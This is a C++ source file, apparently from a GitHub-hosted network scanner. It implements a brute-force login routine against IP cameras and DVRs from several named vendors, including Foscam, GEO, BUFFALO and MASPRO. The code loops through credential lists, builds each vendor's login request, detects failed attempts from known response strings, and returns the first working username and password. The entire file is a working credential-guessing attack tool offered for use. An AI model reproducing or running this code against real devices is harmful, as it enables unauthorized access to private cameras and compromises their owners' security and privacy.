-
Notifications
You must be signed in to change notification settings - Fork 79
/
Copy pathIPCAuth.cpp
196 lines (181 loc) · 6.1 KB
/
IPCAuth.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#include "IPCAuth.h"
#include "Utils.h"
#include "BruteUtils.h"
#include "FileUpdater.h"
lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{
lopaStr lps = {"UNKNOWN", "", ""};
bool result = true;
char login[128] = {0};
char pass[128] = {0};
char request[1024] = {0};
int passCounter = 1;
std::vector<char*> negVector;
if(strcmp(SPEC, "IPC") == 0)
{
negVector.push_back("<UserGroup>Invalid</UserGroup>");
}
else if(strcmp(SPEC, "GEO") == 0)
{
negVector.push_back("Access denied");
negVector.push_back("ErrNoSuchUsr.htm");
}
else if(strcmp(SPEC, "EasyCam") == 0)
{
negVector.push_back("Set-Cookie: usrLevel=-1;path=/");
}
else if(strcmp(SPEC, "Foscam") == 0)
{
negVector.push_back("<result>0</result>");
negVector.push_back("<result>-1</result>");
negVector.push_back("<result>-2</result>");
negVector.push_back("<result>-3</result>");
negVector.push_back("<result>-4</result>");
negVector.push_back("<result>-5</result>");
negVector.push_back("<result>-6</result>");
negVector.push_back("<result>-7</result>");
}
else if(strcmp(SPEC, "AVIOSYS") == 0)
{
negVector.push_back("Password Error");
}
else if(strcmp(SPEC, "BUFFALO") == 0)
{
negVector.push_back("403 Forbidden");
}
else if(strcmp(SPEC, "DVS") == 0)
{
negVector.push_back("Non-Existed");
}
else if(strcmp(SPEC, "IPCAM") == 0)
{
negVector.push_back("var check=\"0\"");
negVector.push_back("var authLevel =\"0\";");
}
else if (strcmp(SPEC, "IEORFOREFOX") == 0)
{
negVector.push_back("AAA()");
negVector.push_back("РРјСЏ или пароль неверные!");
negVector.push_back("Возврат");
negVector.push_back("HTTP/1.0 302 Found");
negVector.push_back("is incorrect");
}
else if (strcmp(SPEC, "MASPRO") == 0)
{
negVector.push_back("action=\"setup_login.cgi\"");
}
else
{
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
return lps;
};
int res = 0;
for(int i = 0; i < MaxLogin; ++i)
{
if(!globalScanFlag) break;
if(strcmp(loginLst[i], " ") == 0) continue;
ZeroMemory(login, sizeof(login));
strcpy(login, loginLst[i]);
for(int j = 0; j < MaxPass; ++j)
{
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
if(!globalScanFlag) break;
if(strcmp(passLst[j], " ") == 0) continue;
ZeroMemory(pass, sizeof(pass));
strcpy(pass, passLst[j]);
ZeroMemory(request, sizeof(request));
if(strcmp(SPEC, "IPC") == 0)
{
sprintf(request, "%s:%d/login.xml?user=%s&usr=%s&password=%s&pwd=%s",
ip, port, login, login, pass, pass);
}
else if(strcmp(SPEC, "GEO") == 0)
{
sprintf(request, "%s:%d/Login.cgi?username=%s&password=%s",
ip, port, login, pass);
}
else if(strcmp(SPEC, "EasyCam") == 0)
{
sprintf(request, "%s:%d/login.xml?user=%s&usr=%s&password=%s&pwd=%s",
ip, port, login, login, pass, pass);
}
else if(strcmp(SPEC, "Foscam") == 0)
{
sprintf(request, "%s:%d/cgi-bin/CGIProxy.fcgi?usr=%s&pwd=%s&cmd=logIn&usrName=%s&pwd=%s",
ip, port, login, pass, login, pass);
}
else if(strcmp(SPEC, "AVIOSYS") == 0)
{
sprintf(request, "%s:%d/check_user.html?UserName=%s&PassWord=%s",
ip, port, login, pass);
}
else if(strcmp(SPEC, "IPCAM") == 0)
{
sprintf(request, "%s:%d/cgi-bin/hi3510/checkuser.cgi?&-name=%s&-passwd=%s&-time=1416767330831",
ip, port, login, pass);
}
else if(strcmp(SPEC, "IEORFOREFOX") == 0)
{
doPost = true;
sprintf(request, "%s:%d/logincheck.rsp?type=1", ip, port);
sprintf(postData, "username=%s&userpwd=%s", login, pass);
}
else if(strcmp(SPEC, "BUFFALO") == 0)
{
doPost = true;
sprintf(request, "%s:%d/rpc/login", ip, port);
sprintf(postData, "user=%s&password=%s", login, pass);
}
else if (strcmp(SPEC, "DVS") == 0)
{
doPost = true;
sprintf(request, "%s:%d/login", ip, port);
sprintf(postData, "langs=en&user=%s&password=%s&submit=+Login+", login, pass);
}
else if (strcmp(SPEC, "MASPRO") == 0)
{
doPost = true;
sprintf(request, "%s:%d/setup_login.cgi", ip, port);
sprintf(postData, "check_username=%s&check_password=%s&login=", login, pass);
}
std::string buffer;
if(doPost) res = Connector::nConnect(request, port, &buffer, postData);
else res = Connector::nConnect(request, port, &buffer);
if (res == -2) return lps;
else if (res != -1) {
for (int i = 0; i < negVector.size(); ++i)
{
if (Utils::ustrstr(buffer, negVector[i]) != -1)
{
result = false;
break;
};
};
if (result)
{
strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]);
return lps;
};
}
if (BALogSwitched) stt->doEmitionBAData("IPC: " + QString(ip) + ":" + QString::number(port) +
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
QString::number((passCounter++ / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
Sleep(100);
};
};
return lps;
}
lopaStr IPC::IPCLobby(const char *ip, int port, char *SPEC) {
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
++baCount;
++BrutingThrds;
lopaStr lps = IPCBrute(ip, port, SPEC);
--BrutingThrds;
return lps;
} else {
lopaStr lps = {"UNKNOWN", "", ""};
return lps;
}
}